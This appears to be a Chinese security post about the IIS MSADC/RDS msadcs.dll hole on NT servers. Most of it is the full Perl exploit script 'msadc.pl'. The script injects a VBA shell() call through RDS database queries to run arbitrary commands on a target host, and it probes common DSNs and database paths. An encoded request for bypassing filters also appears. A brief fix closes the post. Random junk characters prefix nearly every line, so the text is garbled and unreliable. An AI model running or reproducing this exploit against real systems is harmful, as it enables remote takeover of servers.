IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
nud,ag TS^(<+' 涉及程序:
jz
QmYcd Microsoft NT server
m3C&QdjRp lEIX,amwa 描述:
W"? |O Q' 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
M p:c. M8X*fYn 详细:
@+h2R 如果你没有时间读详细内容的话,就删除:
I~\j%zD c:\Program Files\Common Files\System\Msadc\msadcs.dll
bAms-cXm 有关的安全问题就没有了。
58,_ {:xINQ=}D 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
IzF7W?k m8,P-m 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Y$uXBTR`y/ 关于利用ODBC远程漏洞的描述,请参看:
oe_l:Y% 3P 3x^NI http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm H$zjN8||" 9a 9<I 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
eUPG){" http://www.microsoft.com/security/bulletins/MS99-025faq.asp '31pb9@fH EgM.wQHR] 这里不再论述。
D{'x7!5r FiMP_ y*S 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
$%ZEP>] KT~J@];Fb /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Z+`mla 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
S!A)kK+ A^
$9[_ $j0]+vT #将下面这段保存为txt文件,然后: "perl -x 文件名"
#~*fZ|sq+3 +6@".< #!perl
)` -b\8uw #
^Crl~~Gk` # MSADC/RDS 'usage' (aka exploit) script
)[yM4QFl #
h.>6>5$n # by rain.forest.puppy
/1:`?% ,2 #
A<2_V1 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
:A
$%5;-kO # beta test and find errors!
=;!C7VS V9z/yNo use Socket; use Getopt::Std;
wr,X@y%(! getopts("e:vd:h:XR", \%args);
>e
:&k p dy N`9 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
P$S>=*`n
U 6f,#O8]#5 if (!defined $args{h} && !defined $args{R}) {
[_*% print qq~
PeEf=3 Usage: msadc.pl -h <host> { -d <delay> -X -v }
C9`#57 Pp -h <host> = host you want to scan (ip or domain)
B;9X{" -d <seconds> = delay between calls, default 1 second
^eQK.B( -X = dump Index Server path table, if available
Z2~;u[0a[ -v = verbose
:$."x
' -e = external dictionary file for step 5
Ar7vEa81 yz8ZY,9 Or a -R will resume a command session
eyBLgJt8P pqFgi_2m ~; exit;}
vS%o>"P Bi/=cI $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
4]0|fi3}> if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
g+;m?VJ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
pE@Q
(9`b{ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
b/cc\d < $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
T5?@'b8F6 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
;V`e%9. Q+'mBi} if (!defined $args{R}){ $ret = &has_msadc;
0][PL%3Z die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
a<7Ui;^@ eE5U|y)_ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
fw kX-ON . "cmd /c ";
j:B?0~= $in=<STDIN>; chomp $in;
x~C%Hp*# $command="cmd /c " . $in ;
/{
Lo0 d]6.$"\"p if (defined $args{R}) {&load; exit;}
&l2oyQEF) :pj#t$:! print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
^_
L'I%%[ &try_btcustmr;
$50A!h e}Cp;c]= print "\nStep 2: Trying to make our own DSN...";
vggyQf% &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
zC#[ ^55#!/9 print "\nStep 3: Trying known DSNs...";
Jj4!O3\I &known_dsn;
S"0<`{Gv 3<sYxA\?w print "\nStep 4: Trying known .mdbs...";
IOmQ1X7, &known_mdb;
QxG:NN;jW ~6L\9B) if (defined $args{e}){
'MH WNPG0 print "\nStep 5: Trying dictionary of DSN names...";
p&~8N#I# &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Mu$9#[/ 4<g,L;pUU print "Sorry Charley...maybe next time?\n";
XoEiW R exit;
<seb,> : 3tY\0y9 ##############################################################################
hw]x T5 eFS;+?bu sub sendraw { # ripped and modded from whisker
=EwC6+8*M sleep($delay); # it's a DoS on the server! At least on mine...
H"lq!C` my ($pstr)=@_;
Z~)Bh~^A socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
B
3<T# die("Socket problems\n");
hvCX,^LoJ if(connect(S,pack "SnA4x8",2,80,$target)){
U86bn(9K select(S); $|=1;
5:v"^"S z print $pstr; my @in=<S>;
c+$alwL~ select(STDOUT); close(S);
O& k+;r return @in;
]pr( hk } else { die("Can't connect...\n"); }}
5<h7+ %?t9 ovJwor ##############################################################################
7.7P>U }qU(G3 sub make_header { # make the HTTP request
$'Z\'<k[ my $msadc=<<EOT
l?GN& u POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
AX3iB1):K User-Agent: ACTIVEDATA
!\w@b`Iv8 Host: $ip
I?c "\Fe Content-Length: $clen
:MPWf4K2s Connection: Keep-Alive
<yzgZXxIaS gE2k]`[j] ADCClientVersion:01.06
YLs%u=e($ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
X:Z4QqT ^-Ob($(\ --!ADM!ROX!YOUR!WORLD!
+|(-7" Content-Type: application/x-varg
:k9n
9
Content-Length: $reqlen
d Bn/_ tDn{;ED< EOT
Ca}T)]// ; $msadc=~s/\n/\r\n/g;
.:gZ*ks~ return $msadc;}
6\"g,f 9>,$q"M}? ##############################################################################
}jTCzqHW] uFPJ}m[>5 sub make_req { # make the RDS request
yneIY-g(p my ($switch, $p1, $p2)=@_;
T=Q"|S]V my $req=""; my $t1, $t2, $query, $dsn;
Mg3>/! &,E^y,r if ($switch==1){ # this is the btcustmr.mdb query
eT8(O36% $query="Select * from Customers where City=" . make_shell();
p2T<nP<Pt $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
5n,?&+*L $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
USBU?WDt t* eZe`| elsif ($switch==2){ # this is general make table query
=(\
/+
0-[ $query="create table AZZ (B int, C varchar(10))";
2MS-e}mi $dsn="$p1";}
}!-BZIOlO AA$+ayzx9{ elsif ($switch==3){ # this is general exploit table query
nGb%mlb $query="select * from AZZ where C=" . make_shell();
Z,~Bz@5`" $dsn="$p1";}
W
&wqN Si=zxy T elsif ($switch==4){ # attempt to hork file info from index server
0'&N?rS $query="select path from scope()";
h\C" ti2 $dsn="Provider=MSIDXS;";}
%T9'dcM fsd,q?{a: elsif ($switch==5){ # bad query
K(bid0Y $query="select";
+M@p)pyu $dsn="$p1";}
MP"Pqt hH Kd+QpI $t1= make_unicode($query);
`s[77V> $t2= make_unicode($dsn);
7nr+X Os $req = "\x02\x00\x03\x00";
iIrH&}2 $req.= "\x08\x00" . pack ("S1", length($t1));
C'5b)0km $req.= "\x00\x00" . $t1 ;
xF|P6GXg $req.= "\x08\x00" . pack ("S1", length($t2));
up`.#GWm $req.= "\x00\x00" . $t2 ;
DVNx\t $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
66RqjP '2 return $req;}
dC&{zNG )0F\[Jl} ##############################################################################
q]PeS~PjF\ X{2))t%
sub make_shell { # this makes the shell() statement
r(qAe{ return "'|shell(\"$command\")|'";}
d3%1P) xnz(hz6 ##############################################################################
Th"0Cc) +%Y`>1I^# sub make_unicode { # quick little function to convert to unicode
}<G"w5.< my ($in)=@_; my $out;
"^?|=sQ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
gN"Abc return $out;}
#Z%?lx"Q0 .4I"[$?Q ##############################################################################
i
qLNX) 1E3'H7k\t sub rdo_success { # checks for RDO return success (this is kludge)
BEU^,r3z my (@in) = @_; my $base=content_start(@in);
Hzos$1DJ if($in[$base]=~/multipart\/mixed/){
d:|(l^]{r return 1 if( $in[$base+10]=~/^\x09\x00/ );}
V*
:Q~
^ return 0;}
DdAs]e|D[ 24)Sf ##############################################################################
2VSs#z! /m>%=_nz sub make_dsn { # this makes a DSN for us
!\e&7sV~Q my @drives=("c","d","e","f");
_4!SO5T print "\nMaking DSN: ";
\TchRSe foreach $drive (@drives) {
}vzZWe print "$drive: ";
v-^7oai my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
$inpiO|s "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
D)0pm?*5A . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
%M?A>7b $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
2y_R05O0 return 0 if $2 eq "404"; # not found/doesn't exist
M{sn{ if($2 eq "200") {
>$^v@jf foreach $line (@results) {
Y@&1[Z return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
{R5{v6m_ } return 0;}
>J!J: X{8/]'( ##############################################################################
'3n?1x Z{'.fq2A sub verify_exists {
?U}Ml]0~ my ($page)=@_;
`EFPY$9`D my @results=sendraw("GET $page HTTP/1.0\n\n");
8[2.HM$Y return $results[0];}
SLCV|@G pUTC~|j%: ##############################################################################
V%kZ-P* {'(1c)q> sub try_btcustmr {
WnATgY t my @drives=("c","d","e","f");
u+U '|6)E my @dirs=("winnt","winnt35","winnt351","win","windows");
h ~\bJ*Zp Kr;7~`$[ foreach $dir (@dirs) {
:#yjg1aej print "$dir -> "; # fun status so you can see progress
G"_ 8`l foreach $drive (@drives) {
P:`tL)W_ print "$drive: "; # ditto
e+_~a8 -| $reqlen=length( make_req(1,$drive,$dir) ) - 28;
PxqRb $reqlenlen=length( "$reqlen" );
2!UNFv#=$ $clen= 206 + $reqlenlen + $reqlen;
C}})dL;( ?/EyfTex my @results=sendraw(make_header() . make_req(1,$drive,$dir));
dV~yIxD}C* if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
,[ogh else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Y(:.f-Du d-cK`pSB ##############################################################################
SfHs,y6 M@R_t(&= sub odbc_error {
}Y{aVn&C my (@in)=@_; my $base;
;t^8lC?>V my $base = content_start(@in);
x{Gdr51% if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
xKol $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@(;zU~l/ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
yP&SA+ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
GQU9UXe return $in[$base+4].$in[$base+5].$in[$base+6];}
Gp<7i5 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
;p$KM-?2D print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
!i"Z $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
pONBF3H8 )_7OHV *3 ##############################################################################
E`^?2dv+/ GpW5)a sub verbose {
3n\eCdV-b< my ($in)=@_;
e3|@H'~k return if !$verbose;
W0++q=F print STDOUT "\n$in\n";}
AX
{~A:B \5k^zGF4o ##############################################################################
Y<A593 h3 Bs sub save {
ISp'4H7R+N my ($p1, $p2, $p3, $p4)=@_;
"q-,140_ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
:tc]@0+ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
c5 jd
q[0 close OUT;}
xe4F4FC' ?O]iX;2vM ##############################################################################
>x$eKN .:<-E% sub load {
!3E
%u$-} my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
cqr4P`Oj open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Q@7-UIV|q @p=<IN>; close(IN);
4{[cXM8*j $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
8SG*7[T7 $target= inet_aton($ip) || die("inet_aton problems");
0Q2P"1>KT/ print "Resuming to $ip ...";
d=q&UCC $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
|.]:#)^X? if($p[1]==1) {
d"7l<y5 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
'CTvKW $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
'dnTu@mUT my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
s@WF[S7D if (rdo_success(@results)){print "Success!\n";}
f1Ak0s,zrc else { print "failed\n"; verbose(odbc_error(@results));}}
>o#5tNm elsif ($p[1]==3){
~ jR:oN if(run_query("$p[3]")){
` 0YI?$G1 print "Success!\n";} else { print "failed\n"; }}
ZTq"SQ>ym elsif ($p[1]==4){
c4T8eTKU if(run_query($drvst . "$p[3]")){
E"E Bj7<s print "Success!\n"; } else { print "failed\n"; }}
ddf#c,SQ exit;}
L_3undy, #0i] g)
##############################################################################
=h`yc$
A(2 H;&^A5 sub create_table {
>
xc7Hr~ my ($in)=@_;
'+!@c&d#%o $reqlen=length( make_req(2,$in,"") ) - 28;
YW|KkHi* $reqlenlen=length( "$reqlen" );
"IK QFt' $clen= 206 + $reqlenlen + $reqlen;
{"cS:u my @results=sendraw(make_header() . make_req(2,$in,""));
U[!x
0M return 1 if rdo_success(@results);
$@[`/Uh my $temp= odbc_error(@results); verbose($temp);
OOa}+^-j return 1 if $temp=~/Table 'AZZ' already exists/;
!9$xfg} return 0;}
ypoJ4EZ( ,]OL[m ##############################################################################
dy4!
>zxF nm!5L[y!0 sub known_dsn {
LD'eq\vO # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
{x$h K98 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
o6 FSSKM "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
l'_P]@* "banner", "banners", "ads", "ADCDemo", "ADCTest");
7~t,Pt) M]S&vE{D foreach $dSn (@dsns) {
%&c+}m print ".";
7TTU&7l~ next if (!is_access("DSN=$dSn"));
CC(At.dd if(create_table("DSN=$dSn")){
) o)k~6uT print "$dSn successful\n";
\= M*x if(run_query("DSN=$dSn")){
+) pO82 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
+/g/+B_b print "Something's borked. Use verbose next time\n";}}} print "\n";}
E1atXx 9~6FWBt ##############################################################################
5LT{]&`9 wKjL}1.k sub is_access {
{=(GY@yU/ my ($in)=@_;
p8%/T>hK $reqlen=length( make_req(5,$in,"") ) - 28;
PMDx5-{A/t $reqlenlen=length( "$reqlen" );
]F,mj-?4x $clen= 206 + $reqlenlen + $reqlen;
!'4HUB>+ my @results=sendraw(make_header() . make_req(5,$in,""));
X[ERlw1q4Q my $temp= odbc_error(@results);
RhJ{#G~:% verbose($temp); return 1 if ($temp=~/Microsoft Access/);
CS:"F) at return 0;}
|@J:A! W9!EjXg ##############################################################################
BE54^U sqAZjfy@ sub run_query {
.A: #l? my ($in)=@_;
{x3"/sF $reqlen=length( make_req(3,$in,"") ) - 28;
dS7?[[pg9 $reqlenlen=length( "$reqlen" );
:hre|$@{a $clen= 206 + $reqlenlen + $reqlen;
w7.I0)MH my @results=sendraw(make_header() . make_req(3,$in,""));
Ig&=(Kmr return 1 if rdo_success(@results);
;QT.|.t6 my $temp= odbc_error(@results); verbose($temp);
n[jyhBf\W return 0;}
B(x$
Ln"y[ "=7y6bM ##############################################################################
=.@{uu; ={Bcbj{ sub known_mdb {
[B}$U|V0 my @drives=("c","d","e","f","g");
_Y7uM6HL\ my @dirs=("winnt","winnt35","winnt351","win","windows");
`"N56 my $dir, $drive, $mdb;
"3kIQsD|j my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
}i32 x|#R$^4CY # this is sparse, because I don't know of many
$^ \8-k " my @sysmdbs=( "\\catroot\\icatalog.mdb",
HZp}<7NR(7 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
efj[7K.h "\\system32\\certmdb.mdb",
0dv# [ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
7Eoa~ N5>ioJj my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
y be:u "\\cfusion\\cfapps\\forums\\forums_.mdb",
#0K122oY "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
))y`q@ "\\cfusion\\cfapps\\security\\realm_.mdb",
uJ Q#l\t "\\cfusion\\cfapps\\security\\data\\realm.mdb",
hn: "\\cfusion\\database\\cfexamples.mdb",
?:D#\4=US "\\cfusion\\database\\cfsnippets.mdb",
Ks|qJ3; "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Z=VAjJ;i[ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
('H[[YODh "\\cfusion\\brighttiger\\database\\cleam.mdb",
tI2V)i! "\\cfusion\\database\\smpolicy.mdb",
H_*;7/& "\\cfusion\\database\cypress.mdb",
[,A*nU$ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
{q=(x]C "\\website\\cgi-win\\dbsample.mdb",
~p9nAACU "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
^gP pmb<x "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
:#CQQ*@ ); #these are just
qmNg Ez% foreach $drive (@drives) {
J$'Q3k foreach $dir (@dirs){
2=P.$Kx foreach $mdb (@sysmdbs) {
ELh`|X print ".";
nE$8-*BZ_ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
b`?$;5 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
SFKfsb !C if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
F:p'%#3rU/ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
>LvQ&fAo } else { print "Something's borked. Use verbose next time\n"; }}}}}
DG2CpR)S T8nOb9Nrj foreach $drive (@drives) {
5u(,g1s}UZ foreach $mdb (@mdbs) {
`:=af[n print ".";
mMp( if(create_table($drv . $drive . $dir . $mdb)){
>A'Q9Tia; print "\n" . $drive . $dir . $mdb . " successful\n";
'@~\(SH if(run_query($drv . $drive . $dir . $mdb)){
;ps0wswX print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Ie12d@ } else { print "Something's borked. Use verbose next time\n"; }}}}
7x6q:4Ep\ }
\^l273 }6U`/"RfcO ##############################################################################
=6PTT$, :Nry | sub hork_idx {
2P&KU%D)0s print "\nAttempting to dump Index Server tables...\n";
hUL5V1-j print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Y~FN`=O $reqlen=length( make_req(4,"","") ) - 28;
O,$
?Pj6 $reqlenlen=length( "$reqlen" );
mmN!=mf* $clen= 206 + $reqlenlen + $reqlen;
rn$LZE
% my @results=sendraw2(make_header() . make_req(4,"",""));
w6b\l1Z if (rdo_success(@results)){
w$E8R[J~P my $max=@results; my $c; my %d;
d&N[\5q for($c=19; $c<$max; $c++){
rMV<}C ^ $results[$c]=~s/\x00//g;
n@`D:;?{ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
#2dd`F8 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
UW!*=?h $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
lWiC$ $d{"$1$2"}="";}
&CtWWKS" foreach $c (keys %d){ print "$c\n"; }
z}772hMB } else {print "Index server doesn't seem to be installed.\n"; }}
p\>im+0oh a$}n4p ##############################################################################
cJIA/HQe u]<7}R@s sub dsn_dict {
oRp;9 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
khXp}p!Zm while(<IN>){
=N,ahq $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
aPELAU- next if (!is_access("DSN=$dSn"));
ceKR?%8 s if(create_table("DSN=$dSn")){
APne! print "$dSn successful\n";
D@-'<0= if(run_query("DSN=$dSn")){
,McwPHEMB print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
c8R#=^ DD print "Something's borked. Use verbose next time\n";}}}
0$saDmED print "\n"; close(IN);}
!)!<.x <KBzZ
!n5 ##############################################################################
aDDs"DXx <@+>A$~0 sub sendraw2 { # ripped and modded from whisker
}3^b1D>2O sleep($delay); # it's a DoS on the server! At least on mine...
G1:*F8q my ($pstr)=@_;
{[
E7Cf socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
;usv/8 die("Socket problems\n");
LTof$4s if(connect(S,pack "SnA4x8",2,80,$target)){
].A>ORS/ print "Connected. Getting data";
!= @U~X|cu open(OUT,">raw.out"); my @in;
qG Abh select(S); $|=1; print $pstr;
D'nO while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
[@"7qKd1 close(OUT); select(STDOUT); close(S); return @in;
@)R6!"p } else { die("Can't connect...\n"); }}
Uk2U: *5Mg^}ZC5 ##############################################################################
J)148/ JGLjx"Y sub content_start { # this will take in the server headers
JA")L0a_ my (@in)=@_; my $c;
#z(JYw, for ($c=1;$c<500;$c++) {
x)^/3 if($in[$c] =~/^\x0d\x0a/){
vX9B^W||x if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
#]g9O ?0$ else { return $c+1; }}}
&efwfnG< return -1;} # it should never get here actually
J2vaKl ]j^V5y" ##############################################################################
2c%*u {=: $@VQ{S sub funky {
BGe&c,feIc my (@in)=@_; my $error=odbc_error(@in);
$<]G#&F if($error=~/ADO could not find the specified provider/){
C>A*L4c]F print "\nServer returned an ADO miscofiguration message\nAborting.\n";
JQ[~N- exit;}
mbZS J if($error=~/A Handler is required/){
f^EDiG>b` print "\nServer has custom handler filters (they most likely are patched)\n";
/d1
B-I exit;}
65@,FDg*i if($error=~/specified Handler has denied Access/){
sF+mfoMtG print "\nServer has custom handler filters (they most likely are patched)\n";
>$%rs c}^ exit;}}
Os9;;^k D>HX1LV ##############################################################################
qi ;X_\v vvsQf% sub has_msadc {
_&]B my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
PX5K-|R my $base=content_start(@results);
Dej2-Y return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
& rsNB:! return 0;}
8/tvS8I#y L_k'r\L ########################
=Nc}XFq O<:"Irq\qr [|:kS 解决方案:
*j`{ K 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
@~Uu]1 2、移除web 目录: /msadc